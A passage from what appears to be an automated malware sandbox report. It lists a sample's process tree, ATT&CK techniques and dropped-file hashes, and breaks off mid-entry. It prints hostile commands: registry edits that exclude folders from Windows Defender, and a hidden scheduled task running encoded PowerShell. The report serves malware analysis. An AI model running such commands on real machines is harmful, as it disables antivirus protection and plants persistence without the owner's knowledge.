      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FabvMqmCGtcU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:6488
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FabvMqmCGtcU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4708
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FljXGoDRU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1996
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FljXGoDRU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5788
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JRzqqPmkkEUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4296
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JRzqqPmkkEUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2888
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ScsKRPKpmwzHC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:6904
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ScsKRPKpmwzHC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5628
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cEBYBVDCRDFbvvIXEpR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3852
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cEBYBVDCRDFbvvIXEpR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6944
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\YSDpelflPRwzBVVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:6036
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\YSDpelflPRwzBVVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6756
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\dSzJNCAvcFBoQOcHn /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:6648
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\dSzJNCAvcFBoQOcHn /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6748
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\XbLUrZfYmSFRQkJs /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2760
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\XbLUrZfYmSFRQkJs /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6412
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gAyXpMygY" /SC once /ST 11:53:10 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:4300
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3448
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gAyXpMygY"
  2⤵
  PID:6636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:5372
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:5104
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:1996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5308 -ip 5308
1⤵
PID:4728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:6172

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:6648

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Security Software Discovery

T1063

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\CCggedFrog\CCggedFrog312.exe

Filesize
3.1MB

MD5
857c30c1d42e83442fe3b3eed3031973

SHA1
f7b86564eeeb0795999f907121d6df2460fba787

SHA256
f5a4377331aa2ef3f271988f5d62d9a8f14a3aafa29363ff0b856062fbb317e2

SHA512
a78172ab782ad5c870dc7ece90a54a356e597d97a9b451ea1cc1f614cb179eee066d1ef490e1929595d28ec1434f28b4c185fd31eb190a335b3d709f9afe13e1

Download Submit
C:\Program Files (x86)\CCggedFrog\CCggedFrog312.exe

Filesize
3.1MB

MD5
857c30c1d42e83442fe3b3eed3031973

SHA1
f7b86564eeeb0795999f907121d6df2460fba787

SHA256
f5a4377331aa2ef3f271988f5d62d9a8f14a3aafa29363ff0b856062fbb317e2

SHA512
a78172ab782ad5c870dc7ece90a54a356e597d97a9b451ea1cc1f614cb179eee066d1ef490e1929595d28ec1434f28b4c185fd31eb190a335b3d709f9afe13e1

Download Submit
C:\Program Files (x86)\CCggedFrog\TFShellMenu.dll

Filesize
80KB

MD5
aa1c938f60e065a350f07af972faf21c

SHA1
cb7c5c2becd64e4ebcb410e86d6fb01624a0984b

SHA256
f3455a77cb7fad3d842deecbbe386dfa7ad8fca98856a99c15374e3c46c04d23

SHA512
dedfe61d8dec35d741e4db7617dd8f5dae492ce35ca215bdea2970fc4e202f5ad93461c062aa34f1659fbc36783e8b88e5240a698098728ff3a76cb1f18a196d

Download Submit
C:\Program Files (x86)\CCggedFrog\TFShellMenu.dll

Filesize
80KB

MD5
aa1c938f60e065a350f07af972faf21c

SHA1
cb7c5c2becd64e4ebcb410e86d6fb01624a0984b

SHA256
f3455a77cb7fad3d842deecbbe386dfa7ad8fca98856a99c15374e3c46c04d23

SHA512
dedfe61d8dec35d741e4db7617dd8f5dae492ce35ca215bdea2970fc4e202f5ad93461c062aa34f1659fbc36783e8b88e5240a698098728ff3a76cb1f18a196d

Download Submit
C:\Program Files (x86)\CCggedFrog\extensions\Meta\dsofile.dll

Filesize
39KB

MD5
9fb080566c3a4fb15ce48add38cc70dc

SHA1
ad66885c72ca78247a60f26b6c391a9878e5fa26

SHA256
f78978cf74047a690751bd377e71d002deb8a797b9be4b7d55ff279caf853b82

SHA512
a4d0d89bab5e85fd42abea5f17f99972356f4aae76a4dde0b19fd7dacdcf693edf1dc1bb87748c39a07c6adb2c4269576da602056e94bceeb66b7579121d0559

Download Submit
C:\Program Files (x86)\CCggedFrog\extensions\Meta\dsofile.dll

Filesize
39KB

MD5
9fb080566c3a4fb15ce48add38cc70dc

SHA1
ad66885c72ca78247a60f26b6c391a9878e5fa26

SHA256
f78978cf74047a690751bd377e71d002deb8a797b9be4b7d55ff279caf853b82

SHA512
a4d0d89bab5e85fd42abea5f17f99972356f4aae76a4dde0b19fd7dacdcf693edf1dc1bb87748c39a07c6adb2c4269576da602056e94bceeb66b7579121d0559

Download Submit
C:\Program Files (x86)\CD Collection\cdc.exe

Filesize
2.5MB

MD5
aa470153c80118f81b29200c4e55758e

SHA1
2df86e87664bf6d2c31394483a7f19ab2e935884

SHA256
48052a969ee3f017f4b3f11189ca55e055c8124a3738c792add245c7b66f8d6d

SHA512
a8285e0c377208898e0437a5e204b995c8b894db038744319c7433a8e5198c68dea41101720e181334d20a4a12116d380b79c79d29d8e19b8802b23276749888

Download Submit
C:\Program Files (x86)\CD Collection\cdc.exe

Filesize
2.5MB

MD5
aa470153c80118f81b29200c4e55758e

SHA1
2df86e87664bf6d2c31394483a7f19ab2e935884

SHA256
48052a969ee3f017f4b3f11189ca55e055c8124a3738c792add245c7b66f8d6d

SHA512
a8285e0c377208898e0437a5e204b995c8b894db038744319c7433a8e5198c68dea41101720e181334d20a4a12116d380b79c79d29d8e19b8802b23276749888

Download Submit
C:\Program Files (x86)\CD Collection\cdc.exe

Filesize
2.5MB

MD5
aa470153c80118f81b29200c4e55758e

SHA1
2df86e87664bf6d2c31394483a7f19ab2e935884

SHA256
48052a969ee3f017f4b3f11189ca55e055c8124a3738c792add245c7b66f8d6d

SHA512
a8285e0c377208898e0437a5e204b995c8b894db038744319c7433a8e5198c68dea41101720e181334d20a4a12116d380b79c79d29d8e19b8802b23276749888

Download Submit
C:\Program Files (x86)\YncBackup\SyncBackupShell.exe

Filesize
524KB

MD5
9618f22ce197ede2b1501965b8b700c5

SHA1
3dcb33b429db7fa123fcae49cced1e4d0185c594

SHA256
d868a3b46befc9c59e29b412da8646711aa300349786f7e282df26cfcad4e54d

SHA512
e22a13d35bdf4d2dd7a0543b4054abaa9a75580bf5c6c0d6a769346265c7e00c92d457d697be693a92f6bfcba1b43d356277f2ef4bc4c005aafee2573df3d9e4

Download Submit
C:\Program Files (x86)\YncBackup\SyncBackupShell.exe

Filesize
524KB

MD5
9618f22ce197ede2b1501965b8b700c5

SHA1
3dcb33b429db7fa123fcae49cced1e4d0185c594

SHA256
d868a3b46befc9c59e29b412da8646711aa300349786f7e282df26cfcad4e54d

SHA512
e22a13d35bdf4d2dd7a0543b4054abaa9a75580bf5c6c0d6a769346265c7e00c92d457d697be693a92f6bfcba1b43d356277f2ef4bc4c005aafee2573df3d9e4

Download Submit
C:\Program Files (x86)\jLiteSort\help.html

Filesize
12KB

MD5
e2557cd175c5b455aecdd6d63f9a1d00

SHA1
adafe8551d36bb8a6c3f40038be46c3ebb909275

SHA256
3e537967aec994a065ad1afb111fb7710e0a90017e3280c2d5c79abf418d950a

SHA512
28d7ac19a3288aa812002dae59c67e098d7142d077acc0387d5374fe3261fdcab549d6bc42ac5362af7080189c005fd93671548081851a5361e5c868bbb7773e

Download Submit
C:\Program Files (x86)\jLiteSort\jLiteSort312.exe

Filesize
4.7MB

MD5
4d9f4bf949f70c7835f2738619eaf699

SHA1
33ffe6a302ba3a660349fc036c0be0739161bc19

SHA256
9e1603f34d04d73e9d8016a86bb70b89c814d3fed4932cb87f3115ace6d0ee1b

SHA512
ba8a059914e66218edee6d01fe268747de42762f0535cda723a3ac48d0f69da20848fac248c1bcd65c00d6ce7f2dfd42545ecc003e69413e16f45d985cf81f9e

Download Submit
C:\Program Files (x86)\jLiteSort\jLiteSort312.exe

Filesize
4.7MB

MD5
4d9f4bf949f70c7835f2738619eaf699

SHA1
33ffe6a302ba3a660349fc036c0be0739161bc19

SHA256
9e1603f34d04d73e9d8016a86bb70b89c814d3fed4932cb87f3115ace6d0ee1b

SHA512
ba8a059914e66218edee6d01fe268747de42762f0535cda723a3ac48d0f69da20848fac248c1bcd65c00d6ce7f2dfd42545ecc003e69413e16f45d985cf81f9e

Download Submit
C:\Program Files (x86)\jLiteSort\jLiteSort312.exe

Filesize
4.7MB

MD5
4d9f4bf949f70c7835f2738619eaf699

SHA1
33ffe6a302ba3a660349fc036c0be0739161bc19

SHA256
9e1603f34d04d73e9d8016a86bb70b89c814d3fed4932cb87f3115ace6d0ee1b

SHA512
ba8a059914e66218edee6d01fe268747de42762f0535cda723a3ac48d0f69da20848fac248c1bcd65c00d6ce7f2dfd42545ecc003e69413e16f45d985cf81f9e

Download Submit
C:\Program Files (x86)\jLiteSort\jLiteSort312.exe

Filesize
4.7MB

MD5
4d9f4bf949f70c7835f2738619eaf699

SHA1
33ffe6a302ba3a660349fc036c0be0739161bc19

SHA256
9e1603f34d04d73e9d8016a86bb70b89c814d3fed4932cb87f3115ace6d0ee1b

SHA512
ba8a059914e66218edee6d01fe268747de42762f0535cda723a3ac48d0f69da20848fac248c1bcd65c00d6ce7f2dfd42545ecc003e69413e16f45d985cf81f9e

Download Submit
C:\Program Files (x86)\jLiteSort\jLiteSort312.exe

Filesize
4.7MB

MD5
4d9f4bf949f70c7835f2738619eaf699

SHA1
33ffe6a302ba3a660349fc036c0be0739161bc19

SHA256
9e1603f34d04d73e9d8016a86bb70b89c814d3fed4932cb87f3115ace6d0ee1b

SHA512
ba8a059914e66218edee6d01fe268747de42762f0535cda723a3ac48d0f69da20848fac248c1bcd65c00d6ce7f2dfd42545ecc003e69413e16f45d985cf81f9e

Download Submit
C:\Program Files (x86)\jLiteSort\langs.ini

Filesize
12KB

MD5
e8852a0eb5da8819f32a262ff8279c3d

SHA1
a8ba3608e014e4ee465c577553d45c37bca96092

SHA256
e413667c2178b980270edd7e5f094c4321346c9f424063b09c1de1120fc8304f

SHA512
1612aed3473704da940e1e664427337fc7ffd941e1d92a4d1ed5ad4841dfb7e8950d02750d0ea1ff9ab207d6169bd866eb1eb24c7eca4a72bbc897612cb7754d

Download Submit
C:\Program Files (x86)\jLiteSort\license.txt

Filesize
2KB

MD5
ab0ba4f1edddb2567fcc9beff9a7cfc2

SHA1
fc1d87b07daf141b1047cb961d945ec955470fd3

SHA256
7f885a7688177e27ad4362c69ff016a5536c738f032d6385b160f9b54c072869

SHA512
8182b1a22027eb1e80a9d51a170b9815a56463b1efca9e0f80fab7149cce521376fdf9cc800d23f6cb835db0b0b6eb26833c95fd1e5ac28bd68a1cb2dd90bdbc

Download Submit
C:\Program Files (x86)\jLiteSort\settings.ini

Filesize
179B

MD5
cf9b6abf642f2acf35fffb0bf8b1e430

SHA1
9c94cb24f1b6f0f112cfd50d2dc49be703d70026

SHA256
7f913d279bb95e78e0c1e77d538e1c103c28fea9cd7ed258d5e3927aaec6f515

SHA512
e78396abeedaa2302dc74b6ce901b76cd541ac3fafa3871273b804205e89313a8fb1ad391e5c1b45a7aab79aad832bdf0baa737a7854fae9a88d875f6d21e537

Download Submit
C:\Program Files (x86)\jLiteSort\unins000.dat

Filesize
3KB

MD5
0dd3e99cf09c5aa36ffb1c6cbe39f25a

SHA1
2ffee154c0febcc6f7cd8a4a33eee9aab397cfba

SHA256
07ec942c2384db3a27dc282f54a49cb418cc880460fbd3273e410990e4a8e822

SHA512
85275018c7d1d7669ee56ed5e477471fa814890087a10b679e05f202b7dbbd8d22f296dd94726fccc93cb88cb75ad11fedaee67892082205ce3ca3a8cab6486b

Download Submit
C:\Program Files (x86)\jLiteSort\unins000.exe

Filesize
669KB

MD5
8429f6ad806341a08b48ab5ed7803109

SHA1
f1a65d3e018462a51cefe0031a6883498c0c17ff

SHA256
c947efa7e13996c7f808d64c691663ed3ef4763be890426303a50bbbe8d4e000

SHA512
904b9ac2b883b864c8494dce3d1f5bff831f543b7865692ebd14e60bc6595fa89c1df54c5df5571ec8274f5cebb297459c830f4c8e5a2aff286c557c8c952569

Download Submit
C:\ProgramData\PrintManager\PrintManager.exe

Filesize
524KB

MD5
9618f22ce197ede2b1501965b8b700c5

SHA1
3dcb33b429db7fa123fcae49cced1e4d0185c594

SHA256
d868a3b46befc9c59e29b412da8646711aa300349786f7e282df26cfcad4e54d

SHA512
e22a13d35bdf4d2dd7a0543b4054abaa9a75580bf5c6c0d6a769346265c7e00c92d457d697be693a92f6bfcba1b43d356277f2ef4bc4c005aafee2573df3d9e4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
b8c9383861d9295966a7f745d7b76a13

SHA1
d77273648971ec19128c344f78a8ffeb8a246645

SHA256
b75207c223dfc38fbb3dbf03107043a7dce74129d88053c9316350c97ac26d2e

SHA512
094e6978e09a6e762022e8ff57935a26b3171a0627639ca91a373bddd06092241d695b9f3b609ba60bc28e78a5c78cf0f072d79cd5769f1b9f6d873169f0df14

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
91fa8f2ee8bf3996b6df4639f7ca34f7

SHA1
221b470deb37961c3ebbcc42a1a63e76fb3fe830

SHA256
e8e0588b16d612fa9d9989d16b729c082b4dd9bfca62564050cdb8ed03dd7068

SHA512
5415cd41f2f3bb5d9c7dadc59e347994444321cf8abe346b08e8c5a3fc6a5adae910eda43b4251ba4e317fbb7696c45dba9fd5e7fa61144c9b947206c7b999c4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
288B

MD5
d54242fc9e56b5b31795ad3be424e9fb

SHA1
92aabc68c8ec08219a1c35ddac0dcce283a6e768

SHA256
2b0636a1ba4da6fe924af3ad54f53e335c01792b403f7dc69748faed4b55c556

SHA512
ea2d6e538df79110c96f25c61b0b4ac8dded6feb1380d47c00f404af57dc75527a40f59393fbcd6b35d8ed6c58a7bb7a3b551d5dced185d1abe39e4744389d17

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a790a.TMP

Filesize
48B

MD5
d658dfd2704ee052c7b87619d1c6eac0

SHA1
48fb2d2bea78404b0b31b45ff4183942236d4adb

SHA256
91e6fc1992d253b43dc6fedd59ee59560be4bd8cb6843e9c1f04c7ee956fb057

SHA512
8856c095750c0696f5f922e2fa01abf70655116b7743921a58753f3cc9685b50ae28b8a870fba47bb9541242cde590afb78d37bc24bf6f475c25c898f8e12030

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico

Filesize
70KB

MD5
e5e3377341056643b0494b6842c0b544

SHA1
d53fd8e256ec9d5cef8ef5387872e544a2df9108

SHA256
e23040951e464b53b84b11c3466bbd4707a009018819f9ad2a79d1b0b309bc25

SHA512
83f09e48d009a5cf83fa9aa8f28187f7f4202c84e2d0d6e5806c468f4a24b2478b73077381d2a21c89aa64884df3c56e8dc94eb4ad2d6a8085ac2feb1e26c2ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Microsoft Edge.lnk

Filesize
2KB

MD5
6ee6fa8d132c8ce96c44b35005976340

SHA1
73c7eb65bb137f7b4c08f941141255a16df0155b

SHA256
73d7d317a524b7fe75b153ea52b3d6c37a3b9c0af81bd8d928642d274ed3a5aa

SHA512
0ba7f0df907762ac9d8d16c8eecc604f21d0d23a2c935fedfbaf890e734a0e81a10f1cf3a5deeae3c8b7dc82bd717c368cf8199b9bbd5c56ff9d96f0fa76a902

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
9a2096cb4ee74be604bc172fcb961f11

SHA1
cb572901e34d3c8cbb65ac2d4627e63e09fa656f

SHA256
fc889b324963453630ced1c0af227b5f1d936e1cb4ce81d6adf2e47d935aeb3c

SHA512
e569d8a0aba419a75c2a8c7800f9ac7ebdecfa3b6022fd8e4ce0571a9b9f662f79d96f438938ebb0ff5c4e64d7a16c9ac4617abe1c23c9b7ec8c62984c63be14

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
4KB

MD5
37fafa250d7d8e3cd826507a0abe0265

SHA1
d3b26b57ae7be140585daa9858e233f4a0701e45

SHA256
b1452368cf1722fa6423ac25f9da9d27b4e0cfc7e6cef04a36943ee5d0bb351b

SHA512
896ca37c139d78f4cfe667c8778a8df026d09c8013ccfd412d21232c49777bf58143e61eb74d78fa084d6ec71a27ba0601fb102274d31357c4af639a018dbe9a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
6bf4f15a69102fe1612b5a372619e7ff

SHA1
ecfbf174427f4fe11226f7f1b53d2b90541f3827

SHA256
8f043a03f165ab3772a8fc7277ad1f0e22e93829856a621bcc03d93588408f5f

SHA512
f5ce3a17c46e3866e0c8f16f7972a6d60038eeefa21e25496bf18e491ee5dd456b24e137d23e414e4982093f9b715811e58d4fc25d065bebdc3c865a4b2f4386

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
056176f49c97ddb1025bb77e6e2c4e24

SHA1
392999a13669bdfcc53654110a832906c0675cb9

SHA256
b00b35476421bc139ce1bebab6441af11c06b9b48d1d5316f5287d6cf13ab980

SHA512
7ff5da1cecc1f2dc566da7dabd9245acc1b3308af4457146a90b988cd9e908d835bfbdf45fa005b2064a1aa621d2b74b5711aea3459b584766ae1460a343404c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
b766e15128a1260b4e185a1061fa34d2

SHA1
64da3682d9ff34bd5872dab3de2502d3b57d123e

SHA256
d56e5464c3c4389fa795da6374f484dad607735d94300aca9d6f0da0fd3aa30b

SHA512
72d188b5df9ca801683155897d05bc601a1b2ad068e2904f75165365118ec149e825b7227b1dc216687b0ecbd39e89bb023085bf67783984bda7ba3a1f21ebdd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
60b345592703258c513cb5fc34a2f835

SHA1
39991bd7ea37e2fc394be3b253ef96ce04088a6d

SHA256
7e358b4f7553c9385e8eb2c5692d426bc257bbd4c0213e6c69294459734f6300

SHA512
0346fb4096eb285ab0fdf7e7ec38c4daf7bbb0c506f09975eb2290121d169a34c886fca342c3e06371cb697f2753a697ca4f72af7817ed340eee6063897110a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
372B

MD5
5049d6f708a093d134e0e5fffcd2b2b0

SHA1
b043194f265cbe5d02b23626ecb9c1a74bb6a50f

SHA256
803a4eefd3b751fd48bc58c36de5ccb188a8dde36fd959cc2278893ae53bb478

SHA512
ec7fdd1126b749c379e401cafa0194e420010ba2defd333f6014542c184067195a7d71f05fb3b797254b08bf883397e26207c7c6169d7392cbba8b17cd2af57e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
372B

MD5
6c81d4b1de45596c8478b791804a0e4e

SHA1
6054dba32c39e0ab9d374d38070269b4fbadbf4c

SHA256
08952e1ecd7fc098580dbfaba3edc818738527ba3e51ed69697e4619bb60010c

SHA512
b1387fd226d1d2c6b9d83ba602894f26b65bf2585d68b4e7c1308a48171abef27b532cbb913cf7aec0f77056ca53d7af4afa715590e30602229afe6b114c18b7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
372B

MD5
7d48624414f009298a52e6b702e577a4

SHA1
e06bbce298b9dede5c86b8cc9f7b7ac4c2ca63f1

SHA256
52844081fba4fbd7dab9cf9d42f4bb1a533f28958d2bcc23e649b505f1950059

SHA512
ea9c86a69a4ab39fae8ebe2c751c62019eb68d26b2ab5281a8925fa76509d735e191e91747478925d7d997607e6e42d3b7da5a7c6aa1b5a11008ea9afd747a35

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe59eedb.TMP

Filesize
204B

MD5
b980812e391a7c7a658d4b125a5aecd9

SHA1
ae10138b0ff7b1d1f473a2eec3a2688a2f222d7d

SHA256
af0726e1c030ee54364c03f66bcf7fc75c68f9c62aaf378c0bda156e784c769c

SHA512
a093b88dcb1ce58a8f83636606a24daecc95e7591dddda6360c7238529bbd9f8ab3d0eddd4a16e5f706c2ee05afe61fbb3c0fa0318de95960705764950eb7f0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
9KB

MD5
850b67a6fb7110dd44d12a39403bb54d

SHA1
1aca18a95503768037dbd4ea4196c6061c98afac

SHA256
a7fe8415a35bbb6ce26226aa521a3eecd4548407a9a299ebe6c2937101e10fb1

SHA512
6469659d95377614f1dcc17b5375c698d1fe3fb50e22c8b6c73418f3b03f6a8923a0fe2bf1ac684a872034dc4e34407f07e7123db13fdc68016c6d9dd01ca756

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
f58c8e8352dca94cbb3e01644507f993

SHA1
12537f0a598e864e8a0bb4aec3e6dc33b727b6c4

SHA256
d55c9b02bb1bd352dbc2dfc2da4ac270d93e5fcee8fb9be4ac2afb682ed44881

SHA512
3089156499366faa2e5735d9cab5cf730ec696743f0465715f86b716f229bdc7bbac241aa252fd54c2b22bf9b210371107a8cfadf5f3e1923364ad776db6dbfa

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\jesyn8dv.default-release\activity-stream.discovery_stream.json.tmp

Filesize
145KB

MD5
878aef18e520baa8817f77ec4fa65e1f

SHA1
0d977c8550d92a3b0f0da3b3d57332e761830851

SHA256
286f57e320c7f01e2b7089afbede464eaf3f0e9611550b1d639c3496f33468de

SHA512
69b98139150b7097fdf3c31f1245e5c29c0279f8ef335ca30c1b4d03666e8a242f30b09db786504c6d4da7295334ee7b2983dd6dc79eb267eae14978d4a87b48

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\jesyn8dv.default-release\cache2\doomed\25164

Filesize
8KB

MD5
26f7c48e9325393ceb84575ce5d56bba

SHA1
c5ad12bb5b7f1c82c395f255a89ae21e87ce3859

SHA256
